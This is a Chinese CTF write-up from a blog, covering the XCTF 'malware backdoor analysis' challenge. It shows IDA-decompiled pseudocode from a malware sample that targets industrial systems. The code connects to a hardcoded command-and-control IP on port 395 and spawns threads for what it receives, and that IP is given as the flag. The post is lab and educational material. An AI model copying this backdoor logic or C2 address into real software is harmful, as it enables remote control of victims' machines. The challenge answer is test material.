




攻防世界 Crypto高手进阶区 5分题 恶意软件后门分析

原创

思源湖的鱼  于 2021-01-08 14:53:39 发布  339  收藏 1

分类专栏: [ctf](#) 文章标签: [ctf](#) [攻防世界](#) [crypto](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_44604541/article/details/112362107

版权

CTF

[ctf 专栏收录该内容](#)

200 篇文章 23 订阅

订阅专栏

前言

继续ctf的旅程

攻防世界Crypto高手进阶区的5分题

本篇是恶意软件后门分析的writeup

发现攻防世界的题目分数是动态的

就仅以做题时的分数为准了

解题过程

题目描述

题目描述: 工程师的笔记本上发现了恶意软件, 经排查是一款著名针对工业领域的病毒, 溯源分析远控样本文件, 确认远程C&C连接地址。flag形式为 flag{ }

PE查壳



扔进IDA

```

1 int __cdecl sub_402174(int a1)
2 {
3     void *v1; // esi
4     unsigned int v2; // ebx
5     SIZE_T v3; // eax
6     void *v4; // edi
7     SIZE_T v5; // eax
8     void *v6; // edi
9     void *v7; // eax
10    HANDLE v8; // esi
11    void *v10; // [esp+10h] [ebp-Ch]
12    unsigned int v11; // [esp+14h] [ebp-8h]
13    void *v12; // [esp+18h] [ebp-4h]
14
15    v1 = (void *)sub_40204D(L"5.39.218.152", 0x18Bu);
16    v10 = v1;
17    if ( sub_401B50(v1) )
18    {
19        v2 = 1;
20        sub_401D83(v1, 1, a1);
21        v3 = sub_401D83(v1, 2, 0);
22        if ( v3 )
23        {
24            v4 = (void *)sub_401ABF(v3);
25            v12 = v4;
26            sub_401D83(v1, 2, v4);
27            v11 = sub_401D72(v4);
28            if ( v11 >= 1 )
29            {
30                do
31                {
32                    v5 = sub_401D83(v4, v2, 0);
33                    if ( v5 )
34                    {
35                        v6 = (void *)sub_401ABF(v5);
36                        sub_401D83(v12, v2, v6);
37                        v7 = (void *)sub_40184D(v6);
38                        v8 = CreateThread(0, 0, StartAddress, v7, 0, 0);
39                        sub_401B0A(v6);
40                        WaitForSingleObject(v8, 0x3E8u);
41                        v4 = v12;
42                    }
43                    ++v2;
44                }
45                while ( v2 <= v11 );
46                v1 = v10;
47            }
48            sub_401B0A(v4);
49        }
50    }
51    sub_401B0A(v1);

```

https://blog.csdn.net/weixin_44604541

找到一个外网地址

试了下就是flag

结语

不是很明白在干嘛这题